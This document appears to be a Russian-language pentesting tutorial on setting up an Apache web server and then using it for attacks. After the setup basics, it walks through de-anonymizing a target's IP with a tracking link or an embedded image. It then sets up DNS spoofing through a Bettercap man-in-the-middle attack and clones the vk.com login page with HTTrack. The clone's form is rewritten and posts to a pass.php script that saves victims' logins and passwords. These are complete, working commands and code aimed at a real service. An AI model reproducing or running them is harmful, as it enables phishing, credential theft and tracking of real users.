Содержание:
Веб-сервер для пентестера вещь очень нужная. Примеры использования:
- фишинговые атаки
- подмена оригинального сайта при DNS спуфинге
- получение IP цели при помощи социальной инженерии
- размещение скриптов для сбора данных при XSS уязвимостях
- сбор данных от скомпрометированных систем, размещение файлов для распространения
- размещение JavaScript скриптов и HTML кода для внедрения при атаках человек-посередине и других
При определённой сноровке на веб-сервере можно даже организовать сканер портов и роутеров.
Понимание хотя бы основ работы веб-сервера необходимо при тестировании на проникновение веб-приложений, серверов. И ещё больше применений эти знания найдут для «мирных» целей.
В этой статье вы узнаете о структуре папок и файлов веб-сервера, о настройке субдоменов и виртуальных хостов, о логах веб-сервера, об основах PHP и другое.
В этой заметке упор будет сделан на Linux (в первую очередь на Kali Linux, Linux Mint, Ubuntu), а также будут даны ссылки для дальнейшего изучения и работы в других дистрибутивов, а также для работы с веб-сервером на Windows.
Установка веб-сервера в Linux
Kali Linux
В Kali Linux веб-сервер установлен по умолчанию. Но также по умолчанию он не запускается при загрузке компьютера. Чтобы запустить веб-сервер в Kali Linux выполните:
1. sudo systemctl start apache2.service 2. sudo systemctl start mysql.service
Для проверки работоспособности сервера откройте веб-браузер и перейдите на страницу localhost.
Linux Mint, Ubuntu
В этих дистрибутивах веб-сервер по умолчанию не установлен, но это легко сделать несколькими командами
sudo apt-get update sudo apt-get install apache2 mysql-server php libapache2-mod-php php-mysql php-xml php-gd php-imap php-mysql sudo systemctl enable apache2 sudo systemctl enable mysql.service
Доступ к веб-серверу
С компьютера, на котором установлен веб-сервер, вы всегда можете получить доступ к нему набрав в браузере localhost или 127.0.0.1
С другого компьютера к веб-серверу можно получить доступ тремя способами:
- по локальному IP (только из локальной сети)
- по внешнему IP (при соблюдении некоторых условий)
- по доменному имени (требуется доступ по внешнему IP + купленный домен + настройка DNS)
Чтобы узнать IP адрес компьютера наберите команду:
ip a
Как видно на скриншоте, в моём случае IP компьютера 192.168.0.196. Набрав в веб-браузере на другом компьютера или мобильного телефона, подключённых к этой же локальной сети, в качестве адреса сайта 192.168.0.196, я попаду на веб-сервер.
Структура файлов веб-сервера
Тот файл, который вы видите, открыв http://localhost/ физически расположен по пути /var/www/html/index.html
Можете убедиться в этом сами, выполнив команду (она говорит браузеру Firefox открыть файл, расположенный по пути /var/www/html/index.html):
/var/www/html/index.html
Добавим ещё файлы и папки, чтобы посмотреть работу сервера. Но начнём с проверки, кому принадлежит директория /var/www/html/:
Эта директория принадлежит суперпользователю. Все остальные имеют право читать её содержимое, но не имеют прав записывать. Чтобы мы могли делать в ней изменения, нам нужно:
- вносить изменения от рута (использовать sudo или залогиниться как root) ИЛИ
- сделать себя собственником этой директории
Следующая команда делает владельцем директории пользователя, под которым вы вошли в систему:
sudo chown -R $USER:$USER /var/www/html
Проверим ещё раз:
ls -dl /var/www/html/ drwxr-xr-x 2 mial mial 4096 июн 26 18:27 /var/www/html/
Теперь без повышения привилегий вы можете открыть эту директорию, и в ней добавлять/удалять/изменять файлы.
nemo /var/www/html/
Индексные файлы
Когда веб браузер получает запрос показать определённую директорию без указания файла, то он начинает искать в этой директории индексные файлы. Обычно к этим файлам относятся index.html, index.php, index.htm и другие (настраиваются в конфигурационных файлах Apache).
Т.е. адрес http://localhost/ и адрес http://localhost/index.html выведут содержимое одного и того же файла.
Создайте любым доступным вам способом в папке /var/www/html/ файл test.htm и скопируйте туда строку «My very first file». Это можно сделать открыв файловый менеджер и перейдя в папку /var/www/html/, а затем открыв любой текстовый редактор, скопировать туда строку «My very first file» и сохранить с именем test.htm.
Я сделаю это из командной строки:
echo "My very first file" > /var/www/html/test.htm
Эта команда означает вывести (echo) указанную строку («My very first file»), перенаправив её (>) в указанный файл (/var/www/html/test.htm).
Итак, теперь мы имеем файл /var/www/html/test.htm. Если в веб-браузере открыть адрес http://localhost/test.htm, то вы увидите строку, которую записали в файл.
Создадим в директории /var/www/html/ поддиректорию site1:
mkdir /var/www/html/site1
Как можно догадаться, в эту папку можно попасть набрав в веб-браузере адрес http://localhost/site1/. Там мы увидим:
Т.е. папка попросту пуста.
Создадим там ещё один текстовый файл:
echo "My second test file" > /var/www/html/site1/test2.htm
Теперь по адресу http://localhost/site1/ мы видим:
А перейдя по ссылке http://localhost/site1/test2.htm увидим содержимое этого самого файла, т.е. строку «My second test file».
В папке /var/www/html/site1/ отсутствует индексный файл. Создадим его:
echo "Just Index File" > /var/www/html/site1/index.htm
Как можно догадаться, теперь набрав http://localhost/site1/ вместо списка файлов мы увидим индексный файл.
Раскрытие IP при помощи социальной инженерии
В файл /var/log/apache2/access.log сохраняются записи обо всех обращениях к веб-серверу, среди этой информации также присутствует IP обратившегося с запросом.
Чтобы посмотреть последние записи из этого файла:
1
|
sudo tail /var/log/apache2/access .log |
Предположим, мы сформировали адрес http://192.168.0.196/site1/test2.htm?p=1112321 и отправили его лицу, чей IP мы хотим узнать.
В этом URL:
- http://192.168.0.196 – адрес нашего сервера (вместо IP может быть наш домен – это не принципиально)
- site1/test2.htm – файл, который будет показан целевому пользователю
- ?p=1112321 – после знака вопроса можно указывать имена переменных и передаваемые ей значения, но в нашем примере мы используем уникальную строку только для облечения поиска по лог-файлу.
В файле журнала появится примерно следующее:
192.168.0.244 - - [05/Jul/2017:14:00:06 +0300] "GET /site1/test2.htm?p=1112321 HTTP/1.1" 200 303 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36 OPR/46.0.2597.32" 192.168.0.244 - - [05/Jul/2017:14:00:07 +0300] "GET /favicon.ico HTTP/1.1" 404 504 "http://192.168.0.196/site1/test2.htm?p=1112321" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36 OPR/46.0.2597.32" 192.168.0.244 - - [05/Jul/2017:14:00:58 +0300] "-" 408 0 "-" "-" |
Строка /site1/test2.htm?p=1112321 показывает, какой адрес был запрошен. А 192.168.0.244 – это и есть IP пользователя, которого мы хотим идентифицировать.
Не смотря на свою примитивность, это вполне рабочий способ деанонимизации. Отправляемая ссылка может содержать что-то интересное для целевого лица (тесты, смешные картинки, анекдот – что угодно), чтобы он не заподозрил подвоха.
В качестве альтернативы вместо поиска по логам можно получать IP в PHP скрипте и сразу отправлять на почту атакующему.
Здесь показан пример в локальной сети. Всё работает точно также в Интернете. Вам нужен внешний IP либо ваше доменное имя.
Если вы стремитесь сохранить свою анонимность, и кто-то присылает вас ссылку «заценить» [что-угодно], то, конечно, следует начать со смены своего IP, либо использовать Tor Browser или любой другой анонимайзер.
Может использоваться более хитрый способ, когда вас не просят открыть ссылку.
Сохраните на своём сервере любую картинку. Например загружаем картинку с адреса https://helpugroup.com/wp-content/uploads/2017/07/25.jpg и сохраняю её в файл /var/www/html/site1/pic.jpg:
1
|
wget -O /var/www/html/site1/pic .jpg https: //helpugroup .ru /wp-content/uploads/2017/07/25 .jpg |
Следовательно, картинка теперь доступна по адресу http://192.168.0.196/site1/pic.jpg
Я, будучи «злоумышленником» создаю файл funny.html со следующим содержимым:
< html > < head > < title >Интересная картинка</ title > < meta charset = "UTF-8" > < meta name = "viewport" content = "width=device-width, initial-scale=1.0" > </ head > < body > < div > < image src = "http://192.168.0.196/site1/pic.jpg?tag=4564564544" alt = "Включи показ картинок" /> </ div > </ body > </ html > |
И отправляю его «жертве». «Жертве» не нужно переходит на какие-то сайты, да и сам файл – простой HTML документ, открываемый в обычном веб-брауезре – всё это может снизить бдительность потенциальной цели. Файл откроется в браузере и там будет просто показана (не очень) забавная картинка. Но поскольку картинка подгружалась с веб-сервера атакующего, то у него в логах появится такая запись:
192.168.0.244 - - [05/Jul/2017:14:28:09 +0300] "GET /site1/pic.jpg?tag=4564564544 HTTP/1.1" 200 387504 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36" |
Очевидно, что мы вставили изображение в HTML код используя тэг image:
1
|
< image src = "http://192.168.0.196/site1/pic.jpg?tag=4564564544" alt = "Включи показ картинок" /> |
Можно было бы обойтись без произвольной строки ?tag=4564564544 – она нужна только для облегчения поиска по логам и (или) идентификации «жертвы», поскольку одному лицу я мог отправить файл со строкой ?tag=4564564544, другому ?tag=4564564545, третьему ?tag=4564564546 и т.д.
Вместо картинки может быть .js, .css или другой файл, который может подгружаться с удалённого сервера не вызывая подозрений.
HTML файла может быть исполнимый или пакетный файл, который делает запрос на сервер, банальный ярлык с URL ссылкой и т.д.
Создание виртуальных хостов
Чтобы понять, как можно использовать виртуальные хосты в пентестинге, рассмотрим суть подмены DNS или как чаще его называют DNS спуфинга.
Когда пользователь вводит в строку веб-браузера адрес сайта, например, vk.com, то делается запрос на DNS сервер, у которого спрашивается: «какой IP имеет сайт vk.com». DNS находит запись для vk.com и отвечает, что этот сайт имеет IP 95.213.11.181. После этого компьютер пользователя подключается к веб-серверу на адресе 95.213.11.181 с запросом «покажи мне, пожалуйста, сайт vk.com». Веб-сервер показывает нужный сайт, Павел Дуров (или кто там сейчас вместо него) счастлив.
Атакующий может подменить возвращаемый ответ DNS. Выполняя атаку человек-посередине, мы можем перехватить ответ «95.213.11.181» и вместо него отправить «жертве» IP нашего сервера, например, 192.168.0.196.
Что произойдёт дальне? А дальше компьютер жертвы подключиться к нашему веб-серверу с запросом «покажи мне, пожалуйста, сайт vk.com». А мы… мы не будем расстраивать пользователя и покажем ему vk.com… правда в своём варианте.
Создадим каталог, в котором будут размещаться файлы (название каталога непринципиально):
1
|
mkdir /var/www/html/vk .com |
Создадим в этом каталоге файл:
1
|
echo "VK light" > /var/www/html/vk .com /index .htm |
Сделаем копию файла конфигурации виртуального хоста:
1
|
sudo cp /etc/apache2/sites-available/000-default .conf /etc/apache2/sites-available/vk .com.conf |
Откроем его для редактирования:
1
|
sudo gedit /etc/apache2/sites-available/vk .com.conf |
Без комментариев файл выглядит так:
<VirtualHost *:80> ServerAdmin webmaster@localhost DocumentRoot /var/www/html ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost> |
Директиву DocumentRoot нужно отредактировать и прописать туда путь до каталога, где размещены файлы виртуального хоста (в нашем случае это /var/www/html/vk.com). Также нужно добавить директивы ServerName и ServerAlias с адресом нашего сайта. Получилось:
<VirtualHost *:80> ServerAdmin webmaster@localhost ServerName vk.com ServerAlias www.vk.com DocumentRoot /var/www/html/vk.com ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost> |
Включим наш виртуальный хост:
1
|
sudo a2ensite vk.com.conf |
Перезапустим сервер, чтобы изменения вступили в силу:
1
|
sudo systemctl restart apache2 |
Проверим статус сервера, чтобы убедиться, что всё работает:
1
|
systemctl status apache2 |
Теперь наш сервер готов.
Я покажу пример DNS спуфинга при атаке человек-посередине с помощью Bettercap. Установим Bettercap, если её нет на вашей системе. Следующая команда для Kali Linux (для других систем смотрите про установку на странице https://kali.tools/?p=345):
1
|
sudo apt-get install bettercap |
Создадим файл dns.conf:
1
|
gedit dns.conf |
Скопируем туда:
1
|
local .*vk\.com |
Запускаем атаку:
1
|
sudo bettercap -X --dns dns.conf |
Видим, что DNS ответ успешно подменён:
При попытке открыть в веб-браузере адрес http://vk.com «жертва» увидит:
Веб-сервер может обслуживать любое количество виртуальных хостов. Т.е. рядом с vk.com можно настроить mail.ru, yandex.ru и т.д.
И ещё одно «кстати»: для DNS спуфинга необязательно проводить атаку человек-посредине. Достаточно поменять настройки сетевого оборудования «жертвы», указав там свой «правильно» настроенный DNS. Пример в статье «Инструкция по использованию Router Scan by Stas’M. Часть вторая: Применение фальшивого DNS».
Работа веб-форм
Мучить смешными надписями несчастных пользователей социальных сетей забавно, но не профитно.
Можно, конечно, ему там написать, что по распоряжению Роскомнадзора № 34539/21-2018 теперь вход на vk.com платный и для получения доступа к сайту нужно кинуть 50 рублей на номер 8905143xxxx… но это уже совсем уголовщина – этим мы заниматься, конечно, не будем.
Мы продемонстрируем возможности атаки DNS спуфинг, попытавшись узнать логин и пароль пользователя от вконтакте.
Начнём с клонирования веб-сайта. Для этого ознакомьтесь с «Инструкцией по использованию HTTrack: создание зеркал сайтов, клонирование страницы входа».
Делаем каталог, куда будет клонирован сайт:
1
|
mkdir websitesmirrors |
Обратите внимание, что в следующих командах я использую абсолютный путь /home/mial/websitesmirrors/vk.com/ — вам нужно использовать свой (/root/websitesmirrors/vk.com/ если вы на Kali Linux).
httrack https: //vk .com --headers "Accept-Language: ru-RU,ru;q=0.5" -r2 -F "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" -O "/home/mial/websitesmirrors/vk.com/" |
Удаляем ненужный индексный файл:
1
|
rm /var/www/html/vk .com /index .htm |
Копируем файлы:
1
|
cp -r ~ /websitesmirrors/vk .com /vk .com/* /var/www/html/vk .com/ |
Запускаем атаку человек-посередине вместе с DNS спуфингом:
1
|
sudo bettercap -X --dns dns.conf |
Теперь сайт выглядит как оригинальный (хотя, вроде бы, пропали какие-то изображения — не будем в этом разбираться, для нашего примера это несущественно):
Но нам нужно «перенастроить» его форму, которая принимает и отправляет логин и пароль для входа.
Типичная форма выглядит так:
< form action = "pass.php" method = "POST" enctype = "multipart/form-data" > Введите логин: < input type = "text" name = "login" > < br /> Введите пароль < input type = "password" name = "password" > < br /> < input type = "reset" >< input type = "submit" > </ form > |
Здесь pass.php это файл, куда форма отправляет данные.
Пример файла pass.php:
<?php $text = "" ; foreach ( $_POST as $key => $value ) { $text .= htmlspecialchars( $key ) . " это " . htmlspecialchars( $value ) . "\r\n" ; } file_put_contents ( "pass.txt" , $text , FILE_APPEND); header( 'Location: http://vk.com/' ); |
Этот файл получает введённые логин и пароль, сохраняет их и перенаправляет пользователя на страницу vk.com (что бесполезно, т.к. пока не закончится DNS спуфинг, он постоянно будет попадать на наш виртуальный хост).
Конечно, это очень примитивный PHP код – нужно добавлять проверки на пустые переменные и т.д., но для знакомства его достаточно.
Я насчитал на странице входа vk.com три формы. Та, которая нам нужна, выглядит так:
< form method = "post" name = "login" id = "index_login_form" action = "https://login.vk.com/?act=login" > < input type = "hidden" name = "act" id = "act" value = "login" > < input type = "hidden" name = "role" value = "al_frame" /> < input type = "hidden" name = "expire" id = "index_expire_input" value = "" /> < input type = "hidden" name = "_origin" value = "index.html" /> < input type = "hidden" name = "ip_h" value = "d483530f9e9e8e6f98" /> < input type = "hidden" name = "lg_h" value = "760276f5a8c4470e8e" /> < input type = "text" class = "big_text" name = "email" id = "index_email" value = "" placeholder = "Телефон или e-mail" /> < input type = "password" class = "big_text" name = "pass" id = "index_pass" value = "" placeholder = "Пароль" onkeyup = "toggle('index_expire', !!this.value);toggle('index_forgot', !this.value)" /> < button id = "index_login_button" class = "index_login_button flat_button button_big_text" >Войти</ button > < div class = "forgot" > < div class = "checkbox" id = "index_expire" onclick = "checkbox(this);ge('index_expire_input').value=isChecked(this)?1:'';" >Чужой компьютер</ div > < a id = "index_forgot" class = "index_forgot" href = "restore.html" target = "_top" >Забыли пароль?</ a > </ div > </ form > |
Сразу же удаляем все поля, где содержится hidden, получаем:
< form method = "post" name = "login" id = "index_login_form" action = "https://login.vk.com/?act=login" > < input type = "text" class = "big_text" name = "email" id = "index_email" value = "" placeholder = "Телефон или e-mail" /> < input type = "password" class = "big_text" name = "pass" id = "index_pass" value = "" placeholder = "Пароль" onkeyup = "toggle('index_expire', !!this.value);toggle('index_forgot', !this.value)" /> < button id = "index_login_button" class = "index_login_button flat_button button_big_text" >Войти</ button > < div class = "forgot" > < div class = "checkbox" id = "index_expire" onclick = "checkbox(this);ge('index_expire_input').value=isChecked(this)?1:'';" >Чужой компьютер</ div > < a id = "index_forgot" class = "index_forgot" href = "restore.html" target = "_top" >Забыли пароль?</ a > </ div > </ form > |
Меняем action=»https://login.vk.com/?act=login» на action=»http://vk.com/pass.php». Также удаляем name=»login» id=»index_login_form», чтобы скрипты не могли изменить стандартное поведение формы:
< form method = "post" name = "login" id = "index_login_form" action = "http://vk.com/pass.php" > < input type = "text" class = "big_text" name = "email" id = "index_email" value = "" placeholder = "Телефон или onclick = "checkbox(this);ge('index_expire_input').value=isChecked(this)?1:'';" >Чужой компьютер</ div > < a id = "index_forgot" class = "index_forgot" href = "restore.html" target = "_top" >Забыли пароль?</ a > </ div > </ form > |
Можно ещё подшаманить форму, чтобы при вводе данных она не писала, про «Небезопасный вход», но уже работает, а материал получается и так слишком объёмным, поэтому мы на этом остановим наши работы с формой.
На сервере создаём файл pass.php с содержимым:
<?php $text = "" ; foreach ( $_POST as $key => $value ) { $text .= htmlspecialchars( $key ) . " это " . htmlspecialchars( $value ) . "\r\n" ; } file_put_contents ( "pass.txt" , $text , FILE_APPEND); header( 'Location: http://vk.com/' ); |
Чтобы не возникло проблем с записью в файл pass.txt, создадим его заранее:
1
|
touch /var/www/html/vk .com /pass .txt |
И разрешим всем в него записывать:
1
|
sudo chmod 666 /var/www/html/vk .com /pass .txt |
Как только пользователь введёт логин и пароль, они будут сохранены на веб-сервере атакующего:
Вывод
Мы рассмотрели (причём весьма поверхностно) всего несколько примеров, как веб-сервер может помочь при тестировании на проникновение. Дальнейшее изучение основ работы и настройки веб-сервера поможет лучше понимать и организовывать атаки.